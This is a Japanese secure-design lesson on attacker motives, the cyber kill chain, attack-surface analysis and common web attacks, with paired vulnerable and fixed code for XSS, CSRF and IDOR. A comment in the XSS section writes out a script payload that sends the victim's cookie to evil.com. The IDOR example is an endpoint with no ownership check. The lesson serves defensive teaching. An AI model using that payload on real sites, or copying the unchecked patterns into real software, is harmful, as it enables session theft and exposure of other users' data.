ストーリー
高橋アーキテクトが問いかけました。
攻撃者の動機と分類
攻撃者のタイプ
| タイプ | 動機 | スキル | 対象 |
|---|---|---|---|
| スクリプトキディ | いたずら、承認欲求 | 低い(既成ツール使用) | 不特定多数 |
| 金銭目的の犯罪者 | 金銭(ランサムウェア等) | 中〜高 | 企業・個人 |
| 内部犯行者 | 不満、金銭 | 低〜中(内部知識あり) | 所属組織 |
| ハクティビスト | 政治・思想 | 中〜高 | 特定組織 |
| 国家支援型 | 諜報、破壊 | 非常に高い | 政府・重要インフラ |
攻撃のライフサイクル(サイバーキルチェーン)
攻撃者は通常、以下のステップで攻撃を進めます。
graph TD
S1["1. 偵察(Reconnaissance)<br/>ポートスキャン、公開情報収集、技術スタック特定"]
S2["2. 武器化(Weaponization)<br/>攻撃コード作成、エクスプロイト準備"]
S3["3. 配送(Delivery)<br/>フィッシングメール、Webアプリへの攻撃"]
S4["4. エクスプロイト(Exploitation)<br/>脆弱性の悪用、権限取得"]
S5["5. インストール(Installation)<br/>バックドア設置、永続化"]
S6["6. 遠隔操作(C2: Command & Control)<br/>外部からの操作経路確立"]
S7["7. 目的の実行(Actions on Objectives)<br/>データ窃取、破壊、ランサムウェア"]
S1 --> S2 --> S3 --> S4 --> S5 --> S6 --> S7
classDef danger fill:#fdd,stroke:#c33,color:#900
class S7 danger
攻撃面(Attack Surface)の分析
攻撃面とは、攻撃者がシステムに侵入できる可能性のある全ての入口のことです。
// 攻撃面を分析するためのチェックリスト
interface AttackSurface {
// ネットワーク層
network: {
openPorts: number[]; // 開放ポート
exposedServices: string[]; // 外部公開サービス
apiEndpoints: string[]; // APIエンドポイント
};
// アプリケーション層
application: {
userInputs: string[]; // ユーザー入力ポイント
fileUploads: boolean; // ファイルアップロード機能
authMechanisms: string[]; // 認証メカニズム
thirdPartyIntegrations: string[]; // 外部連携
};
// データ層
data: {
sensitiveData: string[]; // 機密データの種類
storageLocations: string[]; // 保存場所
dataFlows: string[]; // データの流れ
};
// 人的要因
human: {
privilegedUsers: number; // 特権ユーザー数
socialEngineeringRisk: string; // ソーシャルエンジニアリングリスク
};
}
// 攻撃面の分析例
const ecommerceSurface: AttackSurface = {
network: {
openPorts: [80, 443],
exposedServices: ["Web App", "REST API", "WebSocket"],
apiEndpoints: ["/api/users", "/api/orders", "/api/payments"],
},
application: {
userInputs: ["検索フォーム", "住所入力", "レビュー投稿", "問い合わせフォーム"],
fileUploads: true, // プロフィール画像
authMechanisms: ["email/password", "OAuth(Google)"],
thirdPartyIntegrations: ["Stripe", "SendGrid", "S3"],
},
data: {
sensitiveData: ["個人情報", "クレジットカード", "パスワード"],
storageLocations: ["PostgreSQL", "Redis", "S3"],
dataFlows: ["ブラウザ→API→DB", "API→Stripe", "API→SendGrid"],
},
human: {
privilegedUsers: 5,
socialEngineeringRisk: "中(カスタマーサポートチーム)",
},
};
よくある攻撃手法
1. クロスサイトスクリプティング(XSS)
// 脆弱なコード:ユーザー入力をそのまま表示
const renderComment = (comment: string): string => {
return `<div class="comment">${comment}</div>`;
// 攻撃者: <script>document.location='https://evil.com?cookie='+document.cookie</script>
};
// 安全なコード:エスケープ処理
import { escape } from "html-escaper";
const renderComment = (comment: string): string => {
return `<div class="comment">${escape(comment)}</div>`;
};
2. CSRF(クロスサイトリクエストフォージェリ)
// 安全な実装:CSRFトークンの検証
import csrf from "csurf";
const csrfProtection = csrf({ cookie: true });
app.post("/api/transfer", csrfProtection, (req, res) => {
// CSRFトークンが検証される
processTransfer(req.body);
});
3. IDOR(安全でない直接オブジェクト参照)
// 脆弱なコード:IDを直接指定でアクセス可能
app.get("/api/invoices/:id", async (req, res) => {
const invoice = await invoiceRepo.findById(req.params.id);
res.json(invoice); // 他人の請求書も見えてしまう
});
// 安全なコード:所有者チェック
app.get("/api/invoices/:id", authenticate, async (req, res) => {
const invoice = await invoiceRepo.findById(req.params.id);
if (!invoice) return res.status(404).json({ error: "Not found" });
if (invoice.userId !== req.user.id) {
return res.status(403).json({ error: "Forbidden" });
}
res.json(invoice);
});
攻撃者視点の設計レビュー
設計レビュー時に「攻撃者だったらどうするか」を考える習慣をつけましょう。
| 観点 | 攻撃者の質問 | 設計者の対策 |
|---|---|---|
| 入力 | どの入力フィールドを改ざんできるか? | 全入力のバリデーション |
| 認証 | セッションを奪取できるか? | HTTPOnly Cookie、SameSite属性 |
| 認可 | 他人のリソースにアクセスできるか? | リソースの所有者チェック |
| データ | 通信を傍受できるか? | TLS必須、証明書ピンニング |
| エラー | エラーメッセージから情報が得られるか? | 汎用エラーメッセージ |
まとめ
| ポイント | 内容 |
|---|---|
| 攻撃者視点 | 守るにはまず攻撃者の考え方を理解する |
| キルチェーン | 攻撃は偵察から始まる7段階のプロセス |
| 攻撃面 | システムへの全入口を把握して最小化する |
| レビュー | 「自分が攻撃者なら」を常に考える |
チェックリスト
- 攻撃者のタイプと動機を理解した
- サイバーキルチェーンの各段階を把握した
- 攻撃面の分析方法を理解した
- 主要な攻撃手法(XSS, CSRF, IDOR)を理解した
次のステップへ
次は「セキュリティの基本原則」を学びます。最小権限の原則やDefense in Depthなど、設計の指針となる原則を身につけましょう。
推定読了時間: 25分